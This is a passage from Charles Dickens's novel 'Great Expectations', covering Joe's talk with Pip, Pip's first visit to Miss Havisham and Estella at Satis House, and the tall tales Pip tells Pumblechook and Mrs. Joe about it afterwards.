Pip (and +I tell you beforehand I am awful dull, most awful dull), Mrs. Joe +mustn't see too much of what we're up to. It must be done, as I may +say, on the sly. And why on the sly? I'll tell you why, Pip." + +He had taken up the poker again; without which, I doubt if he could +have proceeded in his demonstration. + +"Your sister is given to government." + +"Given to government, Joe?" I was startled, for I had some shadowy +idea (and I am afraid I must add, hope) that Joe had divorced her +in a favour of the Lords of the Admiralty, or Treasury. + +"Given to government," said Joe. "Which I meantersay the government +of you and myself." + +"Oh!" + +"And she an't over partial to having scholars on the premises," Joe +continued, "and in partickler would not be over partial to my being +a scholar, for fear as I might rise. Like a sort or rebel, don't +you see?" + +I was going to retort with an inquiry, and had got as far as +"Why--" when Joe stopped me. + +"Stay a bit. I know what you're a-going to say, Pip; stay a bit! I +don't deny that your sister comes the Mo-gul over us, now and +again. I don't deny that she do throw us back-falls, and that she +do drop down upon us heavy. At such times as when your sister is on +the Ram-page, Pip," Joe sank his voice to a whisper and glanced at +the door, "candour compels fur to admit that she is a Buster." + +Joe pronounced this word, as if it began with at least twelve +capital Bs. + +"Why don't I rise? That were your observation when I broke it off, +Pip?" + +"Yes, Joe." + +"Well," said Joe, passing the poker into his left hand, that he +might feel his whisker; and I had no hope of him whenever he took +to that placid occupation; "your sister's a master-mind. A +master-mind." + +"What's that?" I asked, in some hope of bringing him to a stand. +But, Joe was readier with his definition than I had expected, and +completely stopped me by arguing circularly, and answering with a +fixed look, "Her." + +"And I an't a master-mind," Joe resumed, when he had unfixed his +look, and got back to his whisker. "And last of all, Pip - and this +I want to say very serious to you, old chap - I see so much in my +poor mother, of a woman drudging and slaving and breaking her +honest hart and never getting no peace in her mortal days, that I'm +dead afeerd of going wrong in the way of not doing what's right by +a woman, and I'd fur rather of the two go wrong the t'other way, +and be a little ill-conwenienced myself. I wish it was only me that +got put out, Pip; I wish there warn't no Tickler for you, old chap; +I wish I could take it all on myself; but this is the +up-and-down-and-straight on it, Pip, and I hope you'll overlook +shortcomings." + +Young as I was, I believe that I dated a new admiration of Joe from +that night. We were equals afterwards, as we had been before; but, +afterwards at quiet times when I sat looking at Joe and thinking +about him, I had a new sensation of feeling conscious that I was +looking up to Joe in my heart. + +"However," said Joe, rising to replenish the fire; "here's the +Dutch-clock a working himself up to being equal to strike Eight of +'em, and she's not come home yet! I hope Uncle Pumblechook's mare +mayn't have set a fore-foot on a piece o' ice, and gone down." + +Mrs. Joe made occasional trips with Uncle Pumblechook on +market-days, to assist him in buying such household stuffs and +goods as required a woman's judgment; Uncle Pumblechook being a +bachelor and reposing no confidences in his domestic servant. This +was market-day, and Mrs. Joe was out on one of these expeditions. + +Joe made the fire and swept the hearth, and then we went to the +door to listen for the chaise-cart. It was a dry cold night, and +the wind blew keenly, and the frost was white and hard. A man would +die to-night of lying out on the marshes, I thought. And then I +looked at the stars, and considered how awful if would be for a man +to turn his face up to them as he froze to death, and see no help +or pity in all the glittering multitude. + +"Here comes the mare," said Joe, "ringing like a peal of bells!" + +The sound of her iron shoes upon the hard road was quite musical, +as she came along at a much brisker trot than usual. We got a chair +out, ready for Mrs. Joe's alighting, and stirred up the fire that +they might see a bright window, and took a final survey of the +kitchen that nothing might be out of its place. When we had +completed these preparations, they drove up, wrapped to the eyes. +Mrs. Joe was soon landed, and Uncle Pumblechook was soon down too, +covering the mare with a cloth, and we were soon all in the +kitchen, carrying so much cold air in with us that it seemed to +drive all the heat out of the fire. + +"Now," said Mrs. Joe, unwrapping herself with haste and excitement, +and throwing her bonnet back on her shoulders where it hung by the +strings: "if this boy an't grateful this night, he never will be!" + +I looked as grateful as any boy possibly could, who was wholly +uninformed why he ought to assume that expression. + +"It's only to be hoped," said my sister, "that he won't be +Pomp-eyed. But I have my fears." + +"She an't in that line, Mum," said Mr. Pumblechook. "She knows +better." + +She? I looked at Joe, making the motion with my lips and eyebrows, +"She?" Joe looked at me, making the motion with his lips and +eyebrows, "She?" My sister catching him in the act, he drew the +back of his hand across his nose with his usual conciliatory air on +such occasions, and looked at her. + +"Well?" said my sister, in her snappish way. "What are you staring +at? Is the house a-fire?" + +" - Which some individual," Joe politely hinted, "mentioned - she." + +"And she is a she, I suppose?" said my sister. "Unless you call +Miss Havisham a he. And I doubt if even you'll go so far as that." + +"Miss Havisham, up town?" said Joe. + +"Is there any Miss Havisham down town?" returned my sister. + +"She wants this boy to go and play there. And of course he's going. +And he had better play there," said my sister, shaking her head at +me as an encouragement to be extremely light and sportive, "or I'll +work him." + +I had heard of Miss Havisham up town - everybody for miles round, +had heard of Miss Havisham up town - as an immensely rich and grim +lady who lived in a large and dismal house barricaded against +robbers, and who led a life of seclusion. + +"Well to be sure!" said Joe, astounded. "I wonder how she come to +know Pip!" + +"Noodle!" cried my sister. "Who said she knew him?" + +" - Which some individual," Joe again politely hinted, "mentioned +that she wanted him to go and play there." + +"And couldn't she ask Uncle Pumblechook if he knew of a boy to go +and play there? Isn't it just barely possible that Uncle +Pumblechook may be a tenant of hers, and that he may sometimes - we +won't say quarterly or half-yearly, for that would be requiring too +much of you - but sometimes - go there to pay his rent? And +couldn't she then ask Uncle Pumblechook if he knew of a boy to go +and play there? And couldn't Uncle Pumblechook, being always +considerate and thoughtful for us - though you may not think it, +Joseph," in a tone of the deepest reproach, as if he were the most +callous of nephews, "then mention this boy, standing Prancing here" +- which I solemnly declare I was not doing - "that I have for ever +been a willing slave to?" + +"Good again!" cried Uncle Pumblechook. "Well put! Prettily pointed! +Good indeed! Now Joseph, you know the case." + +"No, Joseph," said my sister, still in a reproachful manner, while +Joe apologetically drew the back of his hand across and across his +nose, "you do not yet - though you may not think it - know the +case. You may consider that you do, but you do not, Joseph. For you +do not know that Uncle Pumblechook, being sensible that for +anything we can tell, this boy's fortune may be made by his going +to Miss Havisham's, has offered to take him into town to-night in +his own chaise-cart, and to keep him to-night, and to take him with +his own hands to Miss Havisham's to-morrow morning. And Lor-a-mussy +me!" cried my sister, casting off her bonnet in sudden desperation, +"here I stand talking to mere Mooncalfs, with Uncle Pumblechook +waiting, and the mare catching cold at the door, and the boy grimed +with crock and dirt from the hair of his head to the sole of his +foot!" + +With that, she pounced upon me, like an eagle on a lamb, and my +face was squeezed into wooden bowls in sinks, and my head was put +under taps of water-butts, and I was soaped, and kneaded, and +towelled, and thumped, and harrowed, and rasped, until I really was +quite beside myself. (I may here remark that I suppose myself to be +better acquainted than any living authority, with the ridgy effect +of a wedding-ring, passing unsympathetically over the human +countenance.) + +When my ablutions were completed, I was put into clean linen of the +stiffest character, like a young penitent into sackcloth, and was +trussed up in my tightest and fearfullest suit. I was then +delivered over to Mr. Pumblechook, who formally received me as if he +were the Sheriff, and who let off upon me the speech that I knew he +had been dying to make all along: "Boy, be for ever grateful to all +friends, but especially unto them which brought you up by hand!" + +"Good-bye, Joe!" + +"God bless you, Pip, old chap!" + +I had never parted from him before, and what with my feelings and +what with soap-suds, I could at first see no stars from the +chaise-cart. But they twinkled out one by one, without throwing any +light on the questions why on earth I was going to play at Miss +Havisham's, and what on earth I was expected to play at. + + +Chapter 8 + +Mr. Pumblechook's premises in the High-street of the market town, +were of a peppercorny and farinaceous character, as the premises of +a corn-chandler and seedsman should be. It appeared to me that he +must be a very happy man indeed, to have so many little drawers in +his shop; and I wondered when I peeped into one or two on the lower +tiers, and saw the tied-up brown paper packets inside, whether the +flower-seeds and bulbs ever wanted of a fine day to break out of +those jails, and bloom. + +It was in the early morning after my arrival that I entertained +this speculation. On the previous night, I had been sent straight +to bed in an attic with a sloping roof, which was so low in the +corner where the bedstead was, that I calculated the tiles as being +within a foot of my eyebrows. In the same early morning, I +discovered a singular affinity between seeds and corduroys. Mr. +Pumblechook wore corduroys, and so did his shopman; and somehow, +there was a general air and flavour about the corduroys, so much in +the nature of seeds, and a general air and flavour about the seeds, +so much in the nature of corduroys, that I hardly knew which was +which. The same opportunity served me for noticing that Mr. +Pumblechook appeared to conduct his business by looking across the +street at the saddler, who appeared to transact his business by +keeping his eye on the coach-maker, who appeared to get on in life +by putting his hands in his pockets and contemplating the baker, +who in his turn folded his arms and stared at the grocer, who stood +at his door and yawned at the chemist. The watch-maker, always +poring over a little desk with a magnifying glass at his eye, and +always inspected by a group of smock-frocks poring over him through +the glass of his shop-window, seemed to be about the only person in +the High-street whose trade engaged his attention. + +Mr. Pumblechook and I breakfasted at eight o'clock in the parlour +behind the shop, while the shopman took his mug of tea and hunch of +bread-and-butter on a sack of peas in the front premises. I +considered Mr. Pumblechook wretched company. Besides being possessed +by my sister's idea that a mortifying and penitential character +ought to be imparted to my diet - besides giving me as much crumb +as possible in combination with as little butter, and putting such +a quantity of warm water into my milk that it would have been more +candid to have left the milk out altogether - his conversation +consisted of nothing but arithmetic. On my politely bidding him +Good morning, he said, pompously, "Seven times nine, boy?" And how +should I be able to answer, dodged in that way, in a strange place, +on an empty stomach! I was hungry, but before I had swallowed a +morsel, he began a running sum that lasted all through the +breakfast. "Seven?" "And four?" "And eight?" "And six?" "And two?" +"And ten?" And so on. And after each figure was disposed of, it was +as much as I could do to get a bite or a sup, before the next came; +while he sat at his ease guessing nothing, and eating bacon and hot +roll, in (if I may be allowed the expression) a gorging and +gormandising manner. + +For such reasons I was very glad when ten o'clock came and we +started for Miss Havisham's; though I was not at all at my ease +regarding the manner in which I should acquit myself under that +lady's roof. Within a quarter of an hour we came to Miss Havisham's +house, which was of old brick, and dismal, and had a great many +iron bars to it. Some of the windows had been walled up; of those +that remained, all the lower were rustily barred. There was a +court-yard in front, and that was barred; so, we had to wait, after +ringing the bell, until some one should come to open it. While we +waited at the gate, I peeped in (even then Mr. Pumblechook said, +"And fourteen?" but I pretended not to hear him), and saw that at +the side of the house there was a large brewery. No brewing was going +on in it, and none seemed to have gone on for a long long time. + +A window was raised, and a clear voice demanded "What name?" To +which my conductor replied, "Pumblechook." The voice returned, +"Quite right," and the window was shut again, and a young lady came +across the court-yard, with keys in her hand. + +"This," said Mr. Pumblechook, "is Pip." + +"This is Pip, is it?" returned the young lady, who was very pretty +and seemed very proud; "come in, Pip." + +Mr. Pumblechook was coming in also, when she stopped him with the +gate. + +"Oh!" she said. "Did you wish to see Miss Havisham?" + +"If Miss Havisham wished to see me," returned Mr. Pumblechook, +discomfited. + +"Ah!" said the girl; "but you see she don't." + +She said it so finally, and in such an undiscussible way, that Mr. +Pumblechook, though in a condition of ruffled dignity, could not +protest. But he eyed me severely - as if I had done anything to +him! - and departed with the words reproachfully delivered: "Boy! +Let your behaviour here be a credit unto them which brought you up +by hand!" I was not free from apprehension that he would come back +to propound through the gate, "And sixteen?" But he didn't. + +My young conductress locked the gate, and we went across the +court-yard. It was paved and clean, but grass was growing in every +crevice. The brewery buildings had a little lane of communication +with it, and the wooden gates of that lane stood open, and all the +brewery beyond, stood open, away to the high enclosing wall; and +all was empty and disused. The cold wind seemed to blow colder +there, than outside the gate; and it made a shrill noise in howling +in and out at the open sides of the brewery, like the noise of wind +in the rigging of a ship at sea. + +She saw me looking at it, and she said, "You could drink without +hurt all the strong beer that's brewed there now, boy." + +"I should think I could, miss," said I, in a shy way. + +"Better not try to brew beer there now, or it would turn out sour, +boy; don't you think so?" + +"It looks like it, miss." + +"Not that anybody means to try," she added, "for that's all done +with, and the place will stand as idle as it is, till it falls. As +to strong beer, there's enough of it in the cellars already, to +drown the Manor House." + +"Is that the name of this house, miss?" + +"One of its names, boy." + +"It has more than one, then, miss?" + +"One more. Its other name was Satis; which is Greek, or Latin, or +Hebrew, or all three - or all one to me - for enough." + +"Enough House," said I; "that's a curious name, miss." + +"Yes," she replied; "but it meant more than it said. It meant, when +it was given, that whoever had this house, could want nothing else. +They must have been easily satisfied in those days, I should think. +But don't loiter, boy." + +Though she called me "boy" so often, and with a carelessness that +was far from complimentary, she was of about my own age. She seemed +much older than I, of course, being a girl, and beautiful and +self-possessed; and she was as scornful of me as if she had been +one-and-twenty, and a queen. + +We went into the house by a side door - the great front entrance +had two chains across it outside - and the first thing I noticed +was, that the passages were all dark, and that she had left a +candle burning there. She took it up, and we went through more +passages and up a staircase, and still it was all dark, and only +the candle lighted us. + +At last we came to the door of a room, and she said, "Go in." + +I answered, more in shyness than politeness, "After you, miss." + +To this, she returned: "Don't be ridiculous, boy; I am not going +in." And scornfully walked away, and - what was worse - took the +candle with her. + +This was very uncomfortable, and I was half afraid. However, the +only thing to be done being to knock at the door, I knocked, and +was told from within to enter. I entered, therefore, and found +myself in a pretty large room, well lighted with wax candles. No +glimpse of daylight was to be seen in it. It was a dressing-room, +as I supposed from the furniture, though much of it was of forms +and uses then quite unknown to me. But prominent in it was a draped +table with a gilded looking-glass, and that I made out at first +sight to be a fine lady's dressing-table. + +Whether I should have made out this object so soon, if there had +been no fine lady sitting at it, I cannot say. In an arm-chair, +with an elbow resting on the table and her head leaning on that +hand, sat the strangest lady I have ever seen, or shall ever see. + +She was dressed in rich materials - satins, and lace, and silks - +all of white. Her shoes were white. And she had a long white veil +dependent from her hair, and she had bridal flowers in her hair, +but her hair was white. Some bright jewels sparkled on her neck and +on her hands, and some other jewels lay sparkling on the table. +Dresses, less splendid than the dress she wore, and half-packed +trunks, were scattered about. She had not quite finished dressing, +for she had but one shoe on - the other was on the table near her +hand - her veil was but half arranged, her watch and chain were not +put on, and some lace for her bosom lay with those trinkets, and +with her handkerchief, and gloves, and some flowers, and a +prayer-book, all confusedly heaped about the looking-glass. + +It was not in the first few moments that I saw all these things, +though I saw more of them in the first moments than might be +supposed. But, I saw that everything within my view which ought to +be white, had been white long ago, and had lost its lustre, and was +faded and yellow. I saw that the bride within the bridal dress had +withered like the dress, and like the flowers, and had no +brightness left but the brightness of her sunken eyes. I saw that +the dress had been put upon the rounded figure of a young woman, +and that the figure upon which it now hung loose, had shrunk to +skin and bone. Once, I had been taken to see some ghastly waxwork +at the Fair, representing I know not what impossible personage +lying in state. Once, I had been taken to one of our old marsh +churches to see a skeleton in the ashes of a rich dress, that had +been dug out of a vault under the church pavement. Now, waxwork and +skeleton seemed to have dark eyes that moved and looked at me. I +should have cried out, if I could. + +"Who is it?" said the lady at the table. + +"Pip, ma'am." + +"Pip?" + +"Mr. Pumblechook's boy, ma'am. Come - to play." + +"Come nearer; let me look at you. Come close." + +It was when I stood before her, avoiding her eyes, that I took note +of the surrounding objects in detail, and saw that her watch had +stopped at twenty minutes to nine, and that a clock in the room had +stopped at twenty minutes to nine. + +"Look at me," said Miss Havisham. "You are not afraid of a woman +who has never seen the sun since you were born?" + +I regret to state that I was not afraid of telling the enormous lie +comprehended in the answer "No." + +"Do you know what I touch here?" she said, laying her hands, one +upon the other, on her left side. + +"Yes, ma'am." (It made me think of the young man.) + +"What do I touch?" + +"Your heart." + +"Broken!" + +She uttered the word with an eager look, and with strong emphasis, +and with a weird smile that had a kind of boast in it. Afterwards, +she kept her hands there for a little while, and slowly took them +away as if they were heavy. + +"I am tired," said Miss Havisham. "I want diversion, and I have +done with men and women. Play." + +I think it will be conceded by my most disputatious reader, that +she could hardly have directed an unfortunate boy to do anything in +the wide world more difficult to be done under the circumstances. + +"I sometimes have sick fancies," she went on, "and I have a sick +fancy that I want to see some play. There there!" with an impatient +movement of the fingers of her right hand; "play, play, play!" + +For a moment, with the fear of my sister's working me before my +eyes, I had a desperate idea of starting round the room in the +assumed character of Mr. Pumblechook's chaise-cart. But, I felt +myself so unequal to the performance that I gave it up, and stood +looking at Miss Havisham in what I suppose she took for a dogged +manner, inasmuch as she said, when we had taken a good look at each +other: + +"Are you sullen and obstinate?" + +"No, ma'am, I am very sorry for you, and very sorry I can't play +just now. If you complain of me I shall get into trouble with my +sister, so I would do it if I could; but it's so new here, and so +strange, and so fine - and melancholy--." I stopped, fearing I might +say too much, or had already said it, and we took another look at +each other. + +Before she spoke again, she turned her eyes from me, and looked at +the dress she wore, and at the dressing-table, and finally at +herself in the looking-glass. + +"So new to him," she muttered, "so old to me; so strange to him, so +familiar to me; so melancholy to both of us! Call Estella." + +As she was still looking at the reflection of herself, I thought +she was still talking to herself, and kept quiet. + +"Call Estella," she repeated, flashing a look at me. "You can do +that. Call Estella. At the door." + +To stand in the dark in a mysterious passage of an unknown house, +bawling Estella to a scornful young lady neither visible nor +responsive, and feeling it a dreadful liberty so to roar out her +name, was almost as bad as playing to order. But, she answered at +last, and her light came along the dark passage like a star. + +Miss Havisham beckoned her to come close, and took up a jewel from +the table, and tried its effect upon her fair young bosom and +against her pretty brown hair. "Your own, one day, my dear, and you +will use it well. Let me see you play cards with this boy." + +"With this boy? Why, he is a common labouring-boy!" + +I thought I overheard Miss Havisham answer - only it seemed so +unlikely - "Well? You can break his heart." + +"What do you play, boy?" asked Estella of myself, with the greatest +disdain. + +"Nothing but beggar my neighbour, miss." + +"Beggar him," said Miss Havisham to Estella. So we sat down to +cards. + +It was then I began to understand that everything in the room had +stopped, like the watch and the clock, a long time ago. I noticed +that Miss Havisham put down the jewel exactly on the spot from +which she had taken it up. As Estella dealt the cards, I glanced at +the dressing-table again, and saw that the shoe upon it, once +white, now yellow, had never been worn. I glanced down at the foot +from which the shoe was absent, and saw that the silk stocking on +it, once white, now yellow, had been trodden ragged. Without this +arrest of everything, this standing still of all the pale decayed +objects, not even the withered bridal dress on the collapsed from +could have looked so like grave-clothes, or the long veil so like a +shroud. + +So she sat, corpse-like, as we played at cards; the frillings and +trimmings on her bridal dress, looking like earthy paper. I knew +nothing then, of the discoveries that are occasionally made of +bodies buried in ancient times, which fall to powder in the moment +of being distinctly seen; but, I have often thought since, that she +must have looked as if the admission of the natural light of day +would have struck her to dust. + +"He calls the knaves, Jacks, this boy!" said Estella with disdain, +before our first game was out. "And what coarse hands he has! And +what thick boots!" + +I had never thought of being ashamed of my hands before; but I +began to consider them a very indifferent pair. Her contempt for me +was so strong, that it became infectious, and I caught it. + +She won the game, and I dealt. I misdealt, as was only natural, +when I knew she was lying in wait for me to do wrong; and she +denounced me for a stupid, clumsy labouring-boy. + +"You say nothing of her," remarked Miss Havisham to me, as she +looked on. "She says many hard things of you, but you say nothing +of her. What do you think of her?" + +"I don't like to say," I stammered. + +"Tell me in my ear," said Miss Havisham, bending down. + +"I think she is very proud," I replied, in a whisper. + +"Anything else?" + +"I think she is very pretty." + +"Anything else?" + +"I think she is very insulting." (She was looking at me then with a +look of supreme aversion.) + +"Anything else?" + +"I think I should like to go home." + +"And never see her again, though she is so pretty?" + +"I am not sure that I shouldn't like to see her again, but I should +like to go home now." + +"You shall go soon," said Miss Havisham, aloud. "Play the game +out." + +Saving for the one weird smile at first, I should have felt almost +sure that Miss Havisham's face could not smile. It had dropped into +a watchful and brooding expression - most likely when all the +things about her had become transfixed - and it looked as if +nothing could ever lift it up again. Her chest had dropped, so that +she stooped; and her voice had dropped, so that she spoke low, and +with a dead lull upon her; altogether, she had the appearance of +having dropped, body and soul, within and without, under the weight +of a crushing blow. + +I played the game to an end with Estella, and she beggared me. She +threw the cards down on the table when she had won them all, as if +she despised them for having been won of me. + +"When shall I have you here again?" said miss Havisham. "Let me +think." + +I was beginning to remind her that to-day was Wednesday, when she +checked me with her former impatient movement of the fingers of her +right hand. + +"There, there! I know nothing of days of the week; I know nothing +of weeks of the year. Come again after six days. You hear?" + +"Yes, ma'am." + +"Estella, take him down. Let him have something to eat, and let him +roam and look about him while he eats. Go, Pip." + +I followed the candle down, as I had followed the candle up, and +she stood it in the place where we had found it. Until she opened +the side entrance, I had fancied, without thinking about it, that +it must necessarily be night-time. The rush of the daylight quite +confounded me, and made me feel as if I had been in the candlelight +of the strange room many hours. + +"You are to wait here, you boy," said Estella; and disappeared and +closed the door. + +I took the opportunity of being alone in the court-yard, to look at +my coarse hands and my common boots. My opinion of those +accessories was not favourable. They had never troubled me before, +but they troubled me now, as vulgar appendages. I determined to ask +Joe why he had ever taught me to call those picture-cards, Jacks, +which ought to be called knaves. I wished Joe had been rather more +genteelly brought up, and then I should have been so too. + +She came back, with some bread and meat and a little mug of beer. +She put the mug down on the stones of the yard, and gave me the +bread and meat without looking at me, as insolently as if I were a +dog in disgrace. I was so humiliated, hurt, spurned, offended, +angry, sorry - I cannot hit upon the right name for the smart - God +knows what its name was - that tears started to my eyes. The moment +they sprang there, the girl looked at me with a quick delight in +having been the cause of them. This gave me power to keep them back +and to look at her: so, she gave a contemptuous toss - but with a +sense, I thought, of having made too sure that I was so wounded - +and left me. + +But, when she was gone, I looked about me for a place to hide my +face in, and got behind one of the gates in the brewery-lane, and +leaned my sleeve against the wall there, and leaned my forehead on +it and cried. As I cried, I kicked the wall, and took a hard twist +at my hair; so bitter were my feelings, and so sharp was the smart +without a name, that needed counteraction. + +My sister's bringing up had made me sensitive. In the little world +in which children have their existence whosoever brings them up, +there is nothing so finely perceived and so finely felt, as +injustice. It may be only small injustice that the child can be +exposed to; but the child is small, and its world is small, and its +rocking-horse stands as many hands high, according to scale, as a +big-boned Irish hunter. Within myself, I had sustained, from my +babyhood, a perpetual conflict with injustice. I had known, from +the time when I could speak, that my sister, in her capricious and +violent coercion, was unjust to me. I had cherished a profound +conviction that her bringing me up by hand, gave her no right to +bring me up by jerks. Through all my punishments, disgraces, fasts +and vigils, and other penitential performances, I had nursed this +assurance; and to my communing so much with it, in a solitary and +unprotected way, I in great part refer the fact that I was morally +timid and very sensitive. + +I got rid of my injured feelings for the time, by kicking them into +the brewery wall, and twisting them out of my hair, and then I +smoothed my face with my sleeve, and came from behind the gate. The +bread and meat were acceptable, and the beer was warming and +tingling, and I was soon in spirits to look about me. + +To be sure, it was a deserted place, down to the pigeon-house in +the brewery-yard, which had been blown crooked on its pole by some +high wind, and would have made the pigeons think themselves at sea, +if there had been any pigeons there to be rocked by it. But, there +were no pigeons in the dove-cot, no horses in the stable, no pigs +in the sty, no malt in the store-house, no smells of grains and +beer in the copper or the vat. All the uses and scents of the +brewery might have evaporated with its last reek of smoke. In a +by-yard, there was a wilderness of empty casks, which had a certain +sour remembrance of better days lingering about them; but it was +too sour to be accepted as a sample of the beer that was gone - and +in this respect I remember those recluses as being like most +others. + +Behind the furthest end of the brewery, was a rank garden with an +old wall: not so high but that I could struggle up and hold on long +enough to look over it, and see that the rank garden was the garden +of the house, and that it was overgrown with tangled weeds, but +that there was a track upon the green and yellow paths, as if some +one sometimes walked there, and that Estella was walking away from +me even then. But she seemed to be everywhere. For, when I yielded +to the temptation presented by the casks, and began to walk on +them. I saw her walking on them at the end of the yard of casks. +She had her back towards me, and held her pretty brown hair spread +out in her two hands, and never looked round, and passed out of my +view directly. So, in the brewery itself - by which I mean the +large paved lofty place in which they used to make the beer, and +where the brewing utensils still were. When I first went into it, +and, rather oppressed by its gloom, stood near the door looking +about me, I saw her pass among the extinguished fires, and ascend +some light iron stairs, and go out by a gallery high overhead, as +if she were going out into the sky. + +It was in this place, and at this moment, that a strange thing +happened to my fancy. I thought it a strange thing then, and I +thought it a stranger thing long afterwards. I turned my eyes - a +little dimmed by looking up at the frosty light - towards a great +wooden beam in a low nook of the building near me on my right hand, +and I saw a figure hanging there by the neck. A figure all in +yellow white, with but one shoe to the feet; and it hung so, that I +could see that the faded trimmings of the dress were like earthy +paper, and that the face was Miss Havisham's, with a movement going +over the whole countenance as if she were trying to call to me. In +the terror of seeing the figure, and in the terror of being certain +that it had not been there a moment before, I at first ran from it, +and then ran towards it. And my terror was greatest of all, when I +found no figure there. + +Nothing less than the frosty light of the cheerful sky, the sight +of people passing beyond the bars of the court-yard gate, and the +reviving influence of the rest of the bread and meat and beer, +would have brought me round. Even with those aids, I might not have +come to myself as soon as I did, but that I saw Estella approaching +with the keys, to let me out. She would have some fair reason for +looking down upon me, I thought, if she saw me frightened; and she +would have no fair reason. + +She gave me a triumphant glance in passing me, as if she rejoiced +that my hands were so coarse and my boots were so thick, and she +opened the gate, and stood holding it. I was passing out without +looking at her, when she touched me with a taunting hand. + +"Why don't you cry?" + +"Because I don't want to." + +"You do," said she. "You have been crying till you are half blind, +and you are near crying again now." + +She laughed contemptuously, pushed me out, and locked the gate upon +me. I went straight to Mr. Pumblechook's, and was immensely relieved +to find him not at home. So, leaving word with the shopman on what +day I was wanted at Miss Havisham's again, I set off on the +four-mile walk to our forge; pondering, as I went along, on all I +had seen, and deeply revolving that I was a common labouring-boy; +that my hands were coarse; that my boots were thick; that I had +fallen into a despicable habit of calling knaves Jacks; that I was +much more ignorant than I had considered myself last night, and +generally that I was in a low-lived bad way. + + +Chapter 9 + +When I reached home, my sister was very curious to know all about +Miss Havisham's, and asked a number of questions. And I soon found +myself getting heavily bumped from behind in the nape of the neck +and the small of the back, and having my face ignominiously shoved +against the kitchen wall, because I did not answer those questions +at sufficient length. + +If a dread of not being understood be hidden in the breasts of +other young people to anything like the extent to which it used to +be hidden in mine - which I consider probable, as I have no +particular reason to suspect myself of having been a monstrosity - +it is the key to many reservations. I felt convinced that if I +described Miss Havisham's as my eyes had seen it, I should not be +understood. Not only that, but I felt convinced that Miss Havisham +too would not be understood; and although she was perfectly +incomprehensible to me, I entertained an impression that there +would be something coarse and treacherous in my dragging her as she +really was (to say nothing of Miss Estella) before the +contemplation of Mrs. Joe. Consequently, I said as little as I +could, and had my face shoved against the kitchen wall. + +The worst of it was that that bullying old Pumblechook, preyed upon +by a devouring curiosity to be informed of all I had seen and +heard, came gaping over in his chaise-cart at tea-time, to have the +details divulged to him. And the mere sight of the torment, with +his fishy eyes and mouth open, his sandy hair inquisitively on end, +and his waistcoat heaving with windy arithmetic, made me vicious in +my reticence. + +"Well, boy," Uncle Pumblechook began, as soon as he was seated in +the chair of honour by the fire. "How did you get on up town?" + +I answered, "Pretty well, sir," and my sister shook her fist at me. + +"Pretty well?" Mr. Pumblechook repeated. "Pretty well is no answer. +Tell us what you mean by pretty well, boy?" + +Whitewash on the forehead hardens the brain into a state of +obstinacy perhaps. Anyhow, with whitewash from the wall on my +forehead, my obstinacy was adamantine. I reflected for some time, +and then answered as if I had discovered a new idea, "I mean pretty +well." + +My sister with an exclamation of impatience was going to fly at me +- I had no shadow of defence, for Joe was busy in the forge when Mr. +Pumblechook interposed with "No! Don't lose your temper. Leave this +lad to me, ma'am; leave this lad to me." Mr. Pumblechook then turned +me towards him, as if he were going to cut my hair, and said: + +"First (to get our thoughts in order): Forty-three pence?" + +I calculated the consequences of replying "Four Hundred Pound," and +finding them against me, went as near the answer as I could - which +was somewhere about eightpence off. Mr. Pumblechook then put me +through my pence-table from "twelve pence make one shilling," up to +"forty pence make three and fourpence," and then triumphantly +demanded, as if he had done for me, "Now! How much is forty-three +pence?" To which I replied, after a long interval of reflection, "I +don't know." And I was so aggravated that I almost doubt if I did +know. + +Mr. Pumblechook worked his head like a screw to screw it out of me, +and said, "Is forty-three pence seven and sixpence three fardens, +for instance?" + +"Yes!" said I. And although my sister instantly boxed my ears, it +was highly gratifying to me to see that the answer spoilt his joke, +and brought him to a dead stop. + +"Boy! What like is Miss Havisham?" Mr. Pumblechook began again when +he had recovered; folding his arms tight on his chest and applying +the screw. + +"Very tall and dark," I told him. + +"Is she, uncle?" asked my sister. + +Mr. Pumblechook winked assent; from which I at once inferred that he +had never seen Miss Havisham, for she was nothing of the kind. + +"Good!" said Mr. Pumblechook conceitedly. ("This is the way to have +him! We are beginning to hold our own, I think, Mum?") + +"I am sure, uncle," returned Mrs. Joe, "I wish you had him always: +you know so well how to deal with him." + +"Now, boy! What was she a-doing of, when you went in today?" asked +Mr. Pumblechook. + +"She was sitting," I answered, "in a black velvet coach." + +Mr. Pumblechook and Mrs. Joe stared at one another - as they well +might - and both repeated, "In a black velvet coach?" + +"Yes," said I. "And Miss Estella - that's her niece, I think - +handed her in cake and wine at the coach-window, on a gold plate. +And we all had cake and wine on gold plates. And I got up behind +the coach to eat mine, because she told me to." + +"Was anybody else there?" asked Mr. Pumblechook. + +"Four dogs," said I. + +"Large or small?" + +"Immense," said I. "And they fought for veal cutlets out of a +silver basket." + +Mr. Pumblechook and Mrs. Joe stared at one another again, in utter +amazement. I was perfectly frantic - a reckless witness under the +torture - and would have told them anything. + +"Where was this coach, in the name of gracious?" asked my sister. + +"In Miss Havisham's room." They stared again. "But there weren't +any horses to it." I added this saving clause, in the moment of +rejecting four richly caparisoned coursers which I had had wild +thoughts of harnessing. + +"Can this be possible, uncle?" asked Mrs. Joe. "What can the boy +mean?" + +"I'll tell you, Mum," said Mr. Pumblechook. "My opinion is, it's a +sedan-chair. She's flighty, you know - very flighty - quite flighty +enough to pass her days in a sedan-chair." + +"Did you ever see her in it, uncle?" asked Mrs. Joe. + +"How could I," he returned, forced to the admission, "when I never +see her in my life? Never clapped eyes upon her!" + +"Goodness, uncle! And yet you have spoken to her?" + +"Why, don't you know," said Mr. Pumblechook, testily, "that when I +have been there, I have been took up to the outside of her door, +and the door has stood ajar, and she has spoke to me that way. +Don't say you don't know that, Mum. Howsever, the boy went there to +play. What did you play at, boy?" + +"We played with flags," I said. (I beg to observe that I think of +myself with amazement, when I recall the lies I told on this +occasion.) + +"Flags!" echoed my sister. + +"Yes," said I. "Estella waved a blue flag, and I waved a red one, +and Miss Havisham waved one sprinkled all over with little gold +stars, out at the coach-window. And then we all waved our swords +and hurrahed." + +"Swords!" repeated my sister. "Where did you get swords from?" + +"Out of a cupboard," said I. "And I saw pistols in it - and jam - +and pills. And there was no daylight in the room, but it was all +lighted up with candles." + +"That's true, Mum," said Mr. Pumblechook, with a grave nod. "That's +the state of the case, for that much I've seen myself." And then +they both stared at me, and I, with an obtrusive show of +artlessness on my countenance, stared at them, and plaited the +right leg of my trousers with my right hand. + +If they had asked me any more questions I should undoubtedly have +betrayed myself, for I was even then on the point of mentioning +that there was a balloon in the yard, and should have hazarded the +statement but for my invention being divided between that +phenomenon and a bear in the brewery. They were so much occupied, +however, in discussing the marvels I had already presented for +their consideration, that I escaped. The subject still held them +when Joe came in from his work to have a cup of tea. 